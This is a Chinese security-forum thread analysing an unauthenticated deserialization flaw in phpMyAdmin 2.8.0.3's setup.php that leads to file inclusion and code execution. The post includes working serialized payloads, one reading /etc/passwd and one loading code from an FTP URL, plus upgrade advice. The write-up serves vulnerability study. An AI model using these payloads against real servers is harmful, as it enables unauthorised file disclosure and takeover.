搜索
查看: 947|回复: 1

phpmyadmin2.8.0.3任意文件包含漏洞

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-1-20 09:23:32 | 显示全部楼层 |阅读模式
论坛相关文章:PhpMyAdmin 2.8.0.3 版本无需登录任意文件包含导致代码执行(可getshell)漏洞分析

0x00 概述
phpmyadmin存在漏洞的已知版本为 2.8.0.3 其余版本未知 本次测试的版本为2.8.0.3 许多内网的系统都在用这个版本,外网的也绝非少数!
0x01 漏洞分析
看存在漏洞的文件代码 /scripts/setup.php
把传入的configuration给反序列化,而这个setup.php中引入了common.lib.php 来到common.lib.php:
common.lib.php中引入了Config.class.php: 再看看Config.class.php:
继续看load方法:
Config.class.php中含有__wakeup魔术方法,因此可以构造序列化参数,造成反序列化漏洞 所以整个思路就是:
  1. setup.php->common.lib.php->Config.class.php->__wakeup()->load()->eval();
复制代码
0x02 漏洞利用
PoC:
  1. http://127.0.0.1/phpmyadmin2.8/scripts/setup.php
  2. configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}&action=test
复制代码
exp:
  1. http://localhost/phpmyadmin2/scripts/setup.php
  2. configuration=O:10:"PMA_Config":1:{s:6:"source";s:40:"ftp://test:test123@127.0.0.1/id.txt";}&action=test
复制代码


0x03 解决方案
  • 用户:升级到官方最新版本
0x04 参考

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了

0

主题

8

帖子

818

积分

我是小黑

Rank: 2

积分
818
发表于 2017-1-20 11:28:28 | 显示全部楼层
t00ls看到了,感谢分享
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表